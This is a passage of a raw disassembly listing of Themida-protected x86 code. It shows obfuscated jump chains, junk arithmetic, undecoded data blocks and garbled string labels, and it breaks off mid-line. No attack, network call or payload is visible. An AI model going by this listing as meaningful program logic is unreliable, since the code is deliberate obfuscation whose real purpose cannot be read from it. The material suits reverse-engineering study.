esi push edi mov edi, 5D821A7Eh mov esi, 0A27DE586h add esi, edi mov edi, [esp] push esi mov esi, esp jmp loc_5566DD ; --------------------------------------------------------------------------- loc_55A6F4: ; CODE XREF: Themida_:00558859j xchg ebp, [esp] pop esp jmp loc_55B08E ; --------------------------------------------------------------------------- loc_55A6FD: ; CODE XREF: Themida_:00565DFDj mov [esp], edi mov edi, 14A4949h push esi mov esi, 0FBCF10D6h jmp loc_553C67 ; --------------------------------------------------------------------------- loc_55A710: ; CODE XREF: Themida_:00559784j add esp, 4 sub esp, 4 mov [esp], eax jmp loc_557F53 ; --------------------------------------------------------------------------- loc_55A721: ; CODE XREF: Themida_:00561A0Dj mov [esp], ecx push 1E00h mov [esp], edx push 6B5Eh mov [esp], ebx push ecx mov ecx, esp jmp loc_567B2A ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFC5A6h ; --------------------------------------------------------------------------- loc_55A744: ; CODE XREF: Themida_:00552DF2j xor esi, 7DF92716h jmp loc_55EBF1 ; --------------------------------------------------------------------------- db 83h dd 2C3302C5h, 242C3124h, 0E9242C33h, 4771h, 0FFFFED81h dd 0E945FFFFh, 5B97h, 529B2BBh, 0D3F74B5Fh, 6F3814Bh, 0E960A53Fh dd 4BD8h ; --------------------------------------------------------------------------- loc_55A780: ; CODE XREF: Themida_:0055D6F7j and eax, edi push dword ptr [esp] pop edi add esp, 4 sub eax, 0F10B08A2h mov esi, eax push dword ptr [esp] pop eax add esp, 4 neg esi push 1CBFh mov [esp], eax push 239Fh jmp loc_55AA91 ; --------------------------------------------------------------------------- dw 34FFh aYritusN db '$YR┴БUИ╫n',0 dw 8100h dd 4C5h, 242C8700h, 28FB045Ch, 0FFFB2CF0h, 575A2434h, 0BD555F54h dd 74457E3Ah, 6C82C581h, 0D5F7682Fh, 0C1454545h, 46E904EDh dd 8B000082h, 3CD22424h, 0C4E99C24h, 89FFFF83h, 0B4BF243Ch dd 0E9090B7Ah, 7C29h, 0EB81595Dh, 53B021ECh, 0C381EB01h dd 53B021ECh, 0FFD326E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A819: ; CODE XREF: Themida_:00566FA5j mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], esi jmp loc_55E8F1 ; --------------------------------------------------------------------------- dd 4E87F581h, 0EA01089Ch, 55A9E95Dh, 0C6810000h, 1903463Ah dd 1FF5EE81h, 0C6013CC8h, 3F4BBB53h, 8143440Bh, 0D46698CBh dd 29F38134h, 50481760h, 1D28E9h, 8355E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A866: ; CODE XREF: Themida_:005553E3j pop esp ror dword ptr [esp], cl pushf jmp loc_552BBB ; --------------------------------------------------------------------------- loc_55A870: ; CODE XREF: Themida_:0055C373j add ebx, ecx jmp loc_553B08 ; --------------------------------------------------------------------------- db 5Ah dd 0B778E955h, 0EA81FFFFh, 46F57ECAh, 0C281CA29h, 46F57ECAh dd 0C1DAF759h, 0C28105E2h, 7329274Eh, 85FDE942h, 0FF53FFFFh dd 0E9042474h, 597Bh, 5CB668h, 24248900h, 4BB53h, 5C010000h dd 1C8B0424h, 4C48124h, 8B000000h, 0C481241Ch, 4, 4C381h dd 0F8E90000h, 89000008h, 1368241Ch, 89000067h, 0CDBD242Ch dd 0C149A13Ch, 0E58104E5h, 586D446Dh, 6997CD81h, 0E950533Dh dd 0FFFFD810h, 4957F681h, 0EEC1280Ah, 16EE8105h, 0E9018072h dd 0EB4h ; --------------------------------------------------------------------------- loc_55A910: ; CODE XREF: Themida_:00554D88j mov esi, 7DD1138Ch add edx, esi pop esi not edx inc edx jmp loc_5558CC ; --------------------------------------------------------------------------- dd 0C4BF5756h, 0BE365F1Bh, 1A377E75h, 8106EEC1h, 9437EEC6h dd 2CE6812Eh, 8102336Fh, 206C3CEh, 4C6E903h, 0D3010000h dd 0FFC386E9h, 4C481FFh, 58000000h, 34B56853h, 14890000h dd 587FBA24h, 81427E5Fh, 8CEC3DC2h, 0FFD3898Fh, 148B2434h dd 4C48324h, 4C481h, 22E90000h, 0F7FFFFDCh, 4BED81DDh dd 811D8F43h, 0AF117BF5h, 4F58127h, 89E4D657h, 7B6AE9EEh dd 0D1310000h, 801FE9h db 0 ; --------------------------------------------------------------------------- loc_55A9A1: ; CODE XREF: Themida_:00553AA8j mov [esp], ebp jmp loc_555A32 ; --------------------------------------------------------------------------- db 68h, 0CEh, 31h dd 1C890000h, 5D54BB24h, 6855D0h, 68000000h, 0E4Bh, 0E9240489h dd 0FFFFD903h, 380CEE81h, 0C681478Ch, 6FAA41B3h, 0F2E9F389h dd 2DFFFFD5h, 44BA5586h, 0E902F42Dh, 5EEE055Eh, 63E909F4h dd 51FFFFD0h, 0EC88A5B5h, 51665059h, 0EC88D4B5h, 0EC805966h dd 0CFB551CBh, 9005E9h, 7BF6600h, 0FE09663Ch, 0EC815F66h dd 2, 47F0E9h, 59980400h, 0B551D828h, 58B05003h, 0C8FE1524h dd 0CA45E9h db 0 ; --------------------------------------------------------------------------- loc_55AA31: ; CODE XREF: Themida_:0056199Aj pop ebx push edi push edx jmp loc_55AF97 ; --------------------------------------------------------------------------- loc_55AA39: ; CODE XREF: Themida_:00559411j xchg esi, edx xchg edx, esi or esi, 431024D8h add esi, 597F25F5h sub ebx, 704D52FFh sub ebx, esi push eax jmp loc_55CAC5 ; --------------------------------------------------------------------------- aZkbNltrqs db '!сZK│цnlTrQИ-л',0 dw 0C000h dd 0EBC006E3h, 60CB8007h, 0ACC380h, 4866E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA7A: ; CODE XREF: Themida_:00557A1Aj not dword ptr [esp] pop eax not eax sub eax, 6E21B7D9h jmp loc_565066 ; --------------------------------------------------------------------------- loc_55AA8A: ; CODE XREF: Themida_:0055E1FAj pop ebx push ebx jmp loc_558410 ; --------------------------------------------------------------------------- loc_55AA91: ; CODE XREF: Themida_:0055A7A9j mov [esp], ebx push 67Dh mov [esp], ebp push 722C0104h jmp loc_555E63 ; --------------------------------------------------------------------------- dw 0E689h dd 9EE95155h, 66FFFFE4h, 0E906E2C1h, 0FFFF88B7h, 0ED05F001h dd 578E50Bh, 5536565Eh, 0BE685356h, 5B5C0F3Ch, 8108EBC1h dd 6E9D1DEBh, 5BDE89F6h, 5E5EF001h, 238CE9h db 0 byte_55AAE1 db 81h, 0ECh, 4 ; DATA XREF: Themida_:00552B64o dd 89000000h, 0B368241Ch, 0E9000001h, 7EBDh, 8324348Bh dd 7DE904C4h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AAFF: ; CODE XREF: Themida_:00557E40j push 277h mov [esp], esi jmp loc_55CD89 ; --------------------------------------------------------------------------- aA0Z db '─Йв0яZ',0 aY6s9c db 'хY(х,6И9√',0 align 2 dw 595Dh dd 0CD87D1F7h, 0FFBFABE9h, 4B951FFh, 1000000h, 0FF5059C8h dd 0FF042474h, 68582434h, 551Eh, 89241C89h, 4C381E3h, 83000000h dd 1C8704C3h, 786BE924h, 0CB300000h, 0FE08E3C0h, 77EB80CBh dd 1C8BD800h, 4C48324h, 882CF028h, 59C1E9h, 24348900h dd 0FFBA86E9h, 59C801FFh, 0BD6BE9h db 0 ; --------------------------------------------------------------------------- loc_55AB81: ; CODE XREF: Themida_:00564C57j push edi mov edi, 27C1523h sub ebx, 722F2E92h sub ebx, edi push ebp push esi mov esi, 722F2E92h mov ebp, esi pop esi add ebx, ebp mov ebp, [esp] add esp, 4 pop edi add ebx, eax add ebx, 27C1523h pop eax add ebx, 4 xchg ebx, [esp] mov esp, [esp] loc_55ABBA: ; CODE XREF: Themida_:00563FFEj push 58F1h mov [esp], ebx sub dword ptr [esp], 1412413Bh mov eax, [esp] add esp, 4 jmp loc_559D19 ; --------------------------------------------------------------------------- db 55h dd 911097BDh, 0C1D5F777h, 0F58108E5h, 2C0C324Ch, 0E6F7ED81h dd 0EA89E46Bh, 8BD0015Dh, 0C4812414h, 4, 81242C8Bh, 4C4h dd 9652E900h, 3C89FFFFh, 6FD1BF24h, 0CF8119C8h, 16E2935h dd 82AF781h, 0BE5642B8h, 58EC4231h, 62B8E950h db 2 dup(0) word_55AC2A dw 8B66h ; DATA XREF: Themida_:005529A4o dd 0E955240Ch, 0FFFFB3AEh, 31240C33h, 0C33240Ch, 4875C24h dd 74E95C24h, 59FFFF7Fh, 0BF34E9h db 0 ; --------------------------------------------------------------------------- loc_55AC4D: ; CODE XREF: Themida_:0055B58Bj add ebx, 4 xchg ebx, [esp] pop esp not ebp inc ebp jmp loc_560453 ; --------------------------------------------------------------------------- loc_55AC5C: ; CODE XREF: Themida_:0055E292j sub ebp, 3BBD36DEh jmp loc_55F418 ; --------------------------------------------------------------------------- loc_55AC67: ; CODE XREF: Themida_:00553C9Dj dec ebx dec ebx dec ebx xor ebx, 9F969BEh jmp loc_558CBF ; --------------------------------------------------------------------------- db 0B9h, 46h, 0B5h dd 0CD299E44h, 93E5E959h, 0B951FFFFh, 4, 386CE9h db 0 ; --------------------------------------------------------------------------- loc_55AC8D: ; CODE XREF: Themida_:00553811j shl edi, 3 push ebx push eax jmp loc_5622BC ; --------------------------------------------------------------------------- db 89h dd 6EE92404h, 54FFFF95h, 83242C8Bh, 0DF6804C4h, 8900007Bh dd 23BB241Ch, 0C1032256h, 0EB8102EBh, 29386CE6h, 0C78C381h dd 0C3813C57h, 0EC18CAEAh, 67E7B850h, 0E4E9517Bh, 52FFFF8Bh dd 8B078EBAh, 0C075E96Fh, 0EE010000h, 5DD8E9h, 5D02900h dd 10CF7C30h, 24348B5Ah, 0C216E9h db 0 ; --------------------------------------------------------------------------- loc_55ACF5: ; CODE XREF: Themida_:005652B3j push ecx jmp loc_55E1CC ; --------------------------------------------------------------------------- loc_55ACFB: ; CODE XREF: Themida_:0056708Bj xor edx, 3CB81E96h shl edx, 1 or edx, 5DE52447h inc edx xor edx, 0ABD6E9Bh add edx, 91BE8879h xor esi, edx pop edx and edx, esi pop esi not edx push eax mov eax, 2D413B66h shr eax, 1 add eax, 39A23663h add edx, eax jmp loc_558446 ; --------------------------------------------------------------------------- word_55AD32 dw 8B66h ; DATA XREF: Themida_:00552A94o dd 9AE9240Ch db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD3B: ; CODE XREF: Themida_:0055DF3Dj xor esi, 54B7A9Eh mov ecx, esi pop esi not ecx jmp loc_5543C0 ; --------------------------------------------------------------------------- loc_55AD4B: ; CODE XREF: Themida_:00552E3Ej push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp or eax, eax jz loc_561C4D push ebp push esp pop ebp add ebp, 4 push eax jmp loc_55547E ; --------------------------------------------------------------------------- dd 0C07FB551h, 0F65104E5h, 5901245Ch, 8904EC83h, 8B42404h dd 0E908ECC0h, 0FFFF98B7h, 0D09CF81h, 0E9503980h, 0FFFF91B0h dd 77FDEE81h, 0F68127D0h, 192A4499h, 0C07AF681h, 0B951B2AFh dd 5FB051B9h, 8159CE01h, 0A41D16E6h, 0C6814E79h, 0ADBBFDA5h dd 295EF001h, 9D77E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADC6: ; CODE XREF: Themida_:005636EFj inc ebx jmp loc_566177 ; --------------------------------------------------------------------------- dd 0D2F7D687h, 0F681D687h, 56DF1086h, 44AEE681h, 0B951313Fh dd 20E84744h, 3FC7F181h, 0CE0122E5h, 0BA5259h, 29000000h dd 31D631F2h, 0CCA1E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADFE: ; CODE XREF: Themida_:00558505j mov edx, [esp] add esp, 4 jmp loc_5640E7 ; --------------------------------------------------------------------------- dd 126B68h, 4415E900h, 248B0000h, 24040124h, 4486E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AE22: ; CODE XREF: Themida_:00557F44j xor edi, 541B0FF4h jmp loc_55F1A8 ; --------------------------------------------------------------------------- loc_55AE2D: ; CODE XREF: Themida_:005596D7j push ebx mov ebx, esp jmp loc_55885E ; --------------------------------------------------------------------------- loc_55AE35: ; CODE XREF: Themida_:005642FFj pop esi push ebp mov ebp, 6032901h neg ebp jmp loc_55B014 ; --------------------------------------------------------------------------- db 68h dd 66D7h, 88240489h, 0FFE188D4h, 48B2434h, 0E1895124h dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 0C581E589h dd 4, 7214BA52h, 0DAF712F2h, 989EE9h, 24048700h, 2404895Ch dd 4EC81h, 3C890000h, 3479BF24h, 0C14F2BB5h, 0BD5502E7h dd 55112DC1h, 8103EDC1h, 0CD53D7EDh, 5DEF315Bh, 0E95FF889h dd 0FFFFD2A9h ; --------------------------------------------------------------------------- loc_55AEB0: ; CODE XREF: Themida_:0055B65Cj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5582B1 ; --------------------------------------------------------------------------- aISee db '┴,$Иee',0 align 4 loc_55AECC: ; CODE XREF: Themida_:005587ABj sub esp, 4 mov [esp], ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] sub ebx, 13DF7A98h sub ebx, eax push edi push edx push 58A5h mov [esp], esi mov esi, 55A40555h push ebx sub esp, 4 mov [esp], edx mov edx, 309C7A32h inc edx neg edx add edx, 0A704F45h jmp loc_558A77 ; --------------------------------------------------------------------------- db 81h dd 42BF47F5h, 0E9E801F6h, 5E27h, 386ABF2Dh, 0CEE95B30h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AF2F: ; CODE XREF: Themida_:0056312Aj push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_55439F ; --------------------------------------------------------------------------- db 5Ch, 5Dh, 8Bh dd 0C483243Ch, 5BDE0104h, 5604C683h, 0FF8648E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF5D: ; CODE XREF: Themida_:00555514j not ebp xor esi, ebp xor ebp, esi xor esi, ebp xor esi, eax xor eax, esi jmp loc_563147 ; --------------------------------------------------------------------------- loc_55AF6E: ; CODE XREF: Themida_:0055C172j add esp, 4 sub esi, 6DCD7E80h push edx mov edx, 52BE455Dh add esi, edx pop edx add esi, ebp sub esi, 52BE455Dh add esi, 6DCD7E80h pop ebp jmp loc_55E1EC ; --------------------------------------------------------------------------- loc_55AF97: ; CODE XREF: Themida_:0055AA34j mov edx, 4CC95520h sub edx, 6A2236F7h shl edx, 5 jmp loc_55D228 ; --------------------------------------------------------------------------- dw 0BD55h dd 27385437h, 1C05C581h, 0ED81009Bh, 346E52DFh, 0FCB3E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFC2: ; CODE XREF: Themida_:005580E8j push eax mov eax, 63B26194h jmp loc_553DC1 ; --------------------------------------------------------------------------- loc_55AFCD: ; CODE XREF: Themida_:00565A04j push esp pop eax jmp loc_556211 ; --------------------------------------------------------------------------- loc_55AFD4: ; CODE XREF: Themida_:0055E7DDj pop edx sub ebp, 3A701EB0h sub ebp, esi add ebp, 3A701EB0h pop esi jmp loc_557B20 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 815C2434h, 4ECh, 242C8900h, 3736E9BDh, 86F58150h dd 6802325Ch, 24D0h, 0E9242C89h, 37FCh ; --------------------------------------------------------------------------- loc_55B014: ; CODE XREF: Themida_:0055AE3Ej or ebp, 60772F43h xor ebp, 0F9FFFFFBh add esi, ebp pop ebp add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_559EB1 ; --------------------------------------------------------------------------- dd 0FF240C89h, 0E9042474h, 0FFFF99E6h, 8104C483h, 0FFE97CC5h dd 5DE989EEh, 2454E9h, 0BE98100h, 0E9626B5Ah, 3C2Eh, 0B298E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B062: ; CODE XREF: Themida_:0055EC1Fj mov ebx, [esp] jmp loc_557365 ; --------------------------------------------------------------------------- aIxps db '┴ЕPИЙ',27h,0 align 2 loc_55B072: ; CODE XREF: Themida_:00557ACDj add edi, 4 jmp loc_55EA6A ; --------------------------------------------------------------------------- dw 0F131h dd 0FF7E06E9h, 243489FFh, 4D27C968h, 9AA9E975h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B08E: ; CODE XREF: Themida_:0055A6F8j push 4D21h mov [esp], ebx mov ebx, 582D776Fh push ebx jmp loc_566436 ; --------------------------------------------------------------------------- db 1, 0EBh, 5Dh dd 8B241C87h, 0DC2D2424h, 5176F76h, 7BEF76E9h, 0E92DD829h dd 687BEF76h, 559Ch, 0BD242C89h, 6F9313F4h, 0F39EC581h dd 0BF5707FCh, 75D83DCDh, 7396C781h, 0CF812307h, 47323F07h dd 6C79CF81h, 5FE94EDDh, 48000097h, 9927BA0Dh, 7D120546h dd 0F03547ACh, 161FA1Eh, 4FE958C2h, 87FFFFF1h, 515C240Ch dd 516EFB9h, 0F181490Ah, 20D40A2h, 3277C981h, 0E9C12C37h dd 67AE905h db 2 dup(0) word_55B122 dw 8B66h ; DATA XREF: Themida_:005529A0o dd 0EC81240Ch, 4, 89241489h, 4BB53E2h, 1000000h, 0B9515BDAh dd 4, 2EA1EA81h, 0CA290395h, 5774E9h db 0 ; --------------------------------------------------------------------------- loc_55B14D: ; CODE XREF: Themida_:00567D71j pop ebx neg ecx push eax mov eax, 0AB01CFCh shr eax, 7 shl eax, 8 not eax jmp loc_561644 ; --------------------------------------------------------------------------- db 1 dd 46C005D8h, 670502CDh, 53451661h, 70A0BE56h, 0EED13EF4h dd 3FE9D6F7h, 89FFFFABh, 4B9240Ch, 0F710DC78h, 0B0E981D9h dd 4169400Ch, 562AE9h db 0 ; --------------------------------------------------------------------------- loc_55B195: ; CODE XREF: Themida_:0055F5BCj add edi, ebx pop ebx jmp loc_55DE91 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0FCh dd 68FFFFF0h, 5A4Fh, 0BE243489h, 1FF53E70h, 535EF001h dd 7A12B9BBh, 0E9D80106h, 5B6Fh, 2C8BEF01h, 4C48324h, 0E6E9F729h dd 81FFFF81h, 4ECh, 353BE900h, 0ED810000h, 3FC97C3Ah, 875DEF01h dd 248B243Ch, 242C3324h, 33242C31h, 248B242Ch, 4E09E924h dd 54BD0000h, 0C15A185Bh, 51E907E5h, 59FFFF8Ch, 5C241487h dd 4C681h, 0BF570000h, 2, 7A46E9h, 34FF5B00h, 9C7EE924h dd 1C310000h, 241C3324h, 0FFD82BE9h, 0E9CD89FFh, 0C5DAh ; --------------------------------------------------------------------------- loc_55B238: ; CODE XREF: Themida_:0056172Aj mov ecx, edx pop edx or edx, ecx pop ecx neg edx xor edx, 0DEC7C12Ch xor ebx, edx pop edx jmp loc_55F884 ; --------------------------------------------------------------------------- loc_55B24E: ; CODE XREF: Themida_:00561C1Ej mov ebp, [esp] add esp, 4 add esi, eax pop eax mov ecx, esi push dword ptr [esp] pop esi add esp, 4 push 9A9h mov [esp], edx mov edx, 72174054h add ecx, 264920D2h add ecx, 107A4003h add ecx, edx sub ecx, 107A4003h sub ecx, 264920D2h pop edx shl ecx, 2 neg ecx xor ecx, 684F42B5h jmp loc_563831 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 0F75C2414h, 88EE81D6h, 0E97DC13Ah dd 0FFFFBA52h ; --------------------------------------------------------------------------- loc_55B2B8: ; CODE XREF: Themida_:0055B91Bj dec esi sub esp, 4 mov [esp], edx mov edx, 16D75BE9h sub edx, 14CB13BFh or edx, 17912485h shr edx, 5 jmp loc_556760 ; --------------------------------------------------------------------------- aA0Ys db '╠ж─а$0оYИ}',0Bh,0 align 4 dd 83240489h, 0CCE904ECh, 89FFFF9Eh, 65BE2434h, 0E95C794Ah dd 2EBEh ; --------------------------------------------------------------------------- loc_55B300: ; CODE XREF: Themida_:0055C9D2j push 5417D50h pop edi xor edi, 0C286B738h jmp loc_55E6DF ; --------------------------------------------------------------------------- aSSu db 'S╥)ИН;',0 db 0 ; --------------------------------------------------------------------------- loc_55B319: ; CODE XREF: Themida_:0055E2FDj mov esi, [esp] push ecx mov ecx, esp jmp loc_555E21 ; --------------------------------------------------------------------------- dd 9C2404FFh, 0FF788EE9h, 5DEF89FFh, 0E95FFA21h, 0FFFFAA09h dd 5B666E04h, 8150E9h, 4C48300h, 5C242C87h, 0FFCC75E9h dd 4EC81FFh, 89000000h, 72E9241Ch, 81FFFF92h, 0FFFFFFC6h dd 2CF681FFh, 563EBB61h, 0FFB122E9h, 0F9F381FFh, 890DE8C1h dd 241C8BD9h, 4C481h, 5B510000h, 83240C8Bh, 0D83104C4h dd 5B2434FFh, 5FD268h, 242C8900h, 0B951E589h, 4, 5359CD01h dd 3E2EE0BBh, 0B1E38103h, 0D1233F09h, 33E381E3h, 0F7734738h dd 87E3E9DBh, 0C1810000h, 108209h, 8759C801h, 0C5E92404h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3CB: ; CODE XREF: Themida_:00559C72j add esi, eax pop eax add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_563656 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 26ED8100h, 148971Fh, 26C581DDh, 0E948971Fh, 0A6F3h ; --------------------------------------------------------------------------- loc_55B400: ; CODE XREF: Themida_:00556777j mov esi, [esp] add esp, 4 and ebx, 46EA1CB4h neg ebx shl ebx, 6 sub ebx, 46AA342Fh jmp loc_55513A ; --------------------------------------------------------------------------- loc_55B41C: ; CODE XREF: Themida_:0055D72Ej xchg esi, ebx pop esi jmp loc_55D4E5 ; --------------------------------------------------------------------------- dd 4BDh, 8BEE0100h, 94E9242Ch, 890000C6h, 4C381E3h, 51000000h dd 4B9h, 59CB0100h, 0B17EE9h, 24048900h, 468h, 0C7815800h dd 6B2535DBh, 2AB95156h, 8953E960h, 240C8BCEh, 2904C483h dd 6EE95EF7h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B46F: ; CODE XREF: Themida_:00554AC2j add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, eax mov edx, ecx pop ecx pop eax jmp loc_557C00 ; --------------------------------------------------------------------------- loc_55B482: ; CODE XREF: Themida_:0055898Dj add esp, 4 jmp loc_5625D7 ; --------------------------------------------------------------------------- loc_55B48A: ; CODE XREF: Themida_:005592B3j mov [esp], edi jmp loc_5619D8 ; --------------------------------------------------------------------------- dw 489h dd 5E08924h, 4, 158CE9h db 0 ; --------------------------------------------------------------------------- loc_55B4A1: ; CODE XREF: Themida_:00556237j xor edi, esi pop esi add eax, edi jmp loc_55B8B5 ; --------------------------------------------------------------------------- byte_55B4AB db 66h ; DATA XREF: Themida_:00552B00o dd 5624048Bh, 8904EC83h, 4832424h, 348B0424h, 4C48324h dd 4EC81h, 3C890000h, 0AC1BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4CE: ; CODE XREF: Themida_:005660B2j mov ebx, 5AD9011Eh jmp loc_560F7D ; --------------------------------------------------------------------------- loc_55B4D8: ; CODE XREF: Themida_:0055736Dj xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_558E98 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 76E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4EE: ; CODE XREF: Themida_:0055A6BFj mov [esp], edi push esp pop edi push edx mov edx, esp add edx, 4 jmp loc_55723B ; --------------------------------------------------------------------------- db 0C0h, 0E6h, 6 dd 20EA6866h, 241C8966h, 0E9ECB652h, 0FFFFA16Eh ; --------------------------------------------------------------------------- loc_55B514: ; CODE XREF: Themida_:00556EB4j add esp, 4 push 2761h jmp loc_5611F0 ; --------------------------------------------------------------------------- byte_55B521 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552968o dd 0BB4BE9h db 0 ; --------------------------------------------------------------------------- loc_55B529: ; CODE XREF: Themida_:0055C7C0j push ebp push edi mov edi, 31142EE1h dec edi jmp loc_5639CB ; --------------------------------------------------------------------------- dw 0F380h dd 0F6CBFE9Ch, 35EBE9DBh, 0D6890000h, 8124148Bh, 4C4h dd 0E9F10100h, 1975h, 5C243C87h, 4BF57h, 0E9530000h, 0FFFFEA27h dd 6603E0C0h, 0E9000068h, 0FFFFB7C1h dword_55B570 dd 0FF2434FFh, 0E9582434h, 0FFFFC641h, 0C2F9E957h ; DATA XREF: Themida_:00552A70o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B582: ; CODE XREF: Themida_:0055945Ej push ebx mov ebx, esp add ebx, 4 jmp loc_55AC4D ; --------------------------------------------------------------------------- loc_55B590: ; CODE XREF: Themida_:005594F4j add esi, ecx sub esi, 74DD3C31h pop ecx sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edx push ebp mov ebp, 1000h push ebp sub dword ptr [esp], 50FB5471h mov edx, [esp] sub esp, 4 mov [esp], esi jmp loc_55496B ; --------------------------------------------------------------------------- dd 31243433h, 34332434h, 0EC815C24h, 4, 81241489h, 4ECh dd 24248900h, 4240481h, 8B000000h, 0C4812414h, 4, 99D1E9h db 0 ; --------------------------------------------------------------------------- loc_55B5F9: ; CODE XREF: Themida_:0055CD15j xchg eax, [esp] pop esp push 2155h jmp loc_566E6B ; --------------------------------------------------------------------------- loc_55B607: ; CODE XREF: Themida_:00556665j push edx mov edx, 726EF955h jmp loc_562CD2 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0FFA8B1E9h, 5481B8FFh, 0D8F71982h, 0A01A770Dh, 3E0C11Ah dd 50B63635h, 0E9C201F8h, 0FFFFBB0Dh, 72FBC181h, 7BE9AC33h dd 89000052h, 0E9505AD0h, 0FFFF885Dh, 7F55C181h, 8DE943A4h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B653: ; CODE XREF: Themida_:0055EC85j xor ebx, eax pop eax and eax, ebx mov ebx, [esp] push edx jmp loc_55AEB0 ; --------------------------------------------------------------------------- loc_55B661: ; CODE XREF: Themida_:0055514Ej add ebx, 4 xchg ebx, [esp] jmp loc_55B69D ; --------------------------------------------------------------------------- loc_55B66F: ; CODE XREF: Themida_:00558195j mov ebx, 2731537Bh sub eax, ebx pop ebx shr eax, 5 jmp loc_554864 ; --------------------------------------------------------------------------- db 57h dd 0FF8939E9h, 805866FFh, 0EB8043F6h, 0B5517Ah, 0F606EDC0h dd 0E1F580DDh, 22D2E9h db 0 ; --------------------------------------------------------------------------- loc_55B69D: ; CODE XREF: Themida_:0055B66Aj pop esp shl ecx, 2 shr ecx, 8 xor ecx, 77D48533h add edi, ecx pop ecx push 53EAh mov [esp], ebx jmp loc_567320 ; --------------------------------------------------------------------------- dw 0BB53h dd 0C4B7351h, 5C685552h, 5D49FC5Fh, 0F703E5C1h, 7F17E9DDh dd 2C81FFFFh, 37023124h, 0C3815B71h, 71370231h, 0E9243C8Bh dd 0B582h, 0E95B6004h, 0FFFFA3C6h ; --------------------------------------------------------------------------- loc_55B6F0: ; CODE XREF: Themida_:005543F7j mov ebp, 37E7D4Ah dec ebp xor ebp, 729B45F8h not ebp shr ebp, 8 and ebp, 591979D9h add ebp, 484EFBFAh add ebx, ebp jmp loc_556BA6 ; --------------------------------------------------------------------------- loc_55B714: ; CODE XREF: Themida_:00562DE8j sub eax, 4A674DEAh add eax, esi add eax, 4A674DEAh push dword ptr [esp] pop esi jmp loc_557AC4 ; --------------------------------------------------------------------------- db 1, 0D7h, 0E9h dd 0FFFFBD46h, 951ABF57h, 0F931086Ah, 0E9243C8Bh, 0D9h dd 0BE56E789h, 59E22043h, 524BCE81h, 3CE90FF4h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B753: ; CODE XREF: Themida_:0055FE16j pop ecx jmp loc_563D4A ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 26680000h, 89000040h, 468243Ch, 5F000000h, 0CDE9FE29h dd 890000A0h, 4C581E5h, 56000000h, 0FF80A7E9h, 4EC83FFh dd 0B5240C89h, 68DDF674h, 3434h, 0E9241489h, 64E2h, 9E60F181h dd 0C8312D67h, 46AFE9h, 24048900h, 405E089h, 83000000h dd 48704E8h, 21F6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B7BE: ; CODE XREF: Themida_:00565396j pop eax jmp loc_567687 ; --------------------------------------------------------------------------- dd 46EEBE56h, 0E6C1147Ah, 0EE814E06h, 0EDA242BAh, 505EF501h dd 61ADB951h, 0E98162B7h, 0F3E4F31Bh, 0E959C889h, 0FFFFA2FFh ; --------------------------------------------------------------------------- loc_55B7EC: ; CODE XREF: Themida_:0055C34Ej push esp pop edi push edx mov edx, 209F53D9h push eax mov eax, 13AB7F62h sub edx, eax mov eax, [esp] add esp, 4 jmp loc_559CEB ; --------------------------------------------------------------------------- loc_55B80A: ; CODE XREF: Themida_:005644F4j sub eax, 341873B4h add eax, 6FDA1ACAh jmp loc_55E8FC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0EEE9C889h, 81FFFF76h, 3D2A0EC2h, 2C2811Fh, 0E90AD62Ah dd 0BA35h, 522768h, 75A3E900h db 2 dup(0FFh) word_55B83E dw 5968h ; DATA XREF: Themida_:00552A04o dd 89000034h, 5B54241Ch, 0BD78E9h, 0B4BBA00h, 0D0893970h dd 3541255Ah, 0C30D0CBEh, 4842BB26h, 0F37DDA0Dh, 7836E91Fh dd 0FF66FFFFh, 0E99C240Ch, 0FFFF7347h, 8E568h, 241C8900h dd 0DE12E3BBh, 0EB814B33h, 31F9B85Ch, 2065E9h db 0 ; --------------------------------------------------------------------------- loc_55B88D: ; CODE XREF: Themida_:0055324Aj push ebx mov ebx, 448E21E5h shl ebx, 6 jmp loc_566971 ; --------------------------------------------------------------------------- aI_1 db 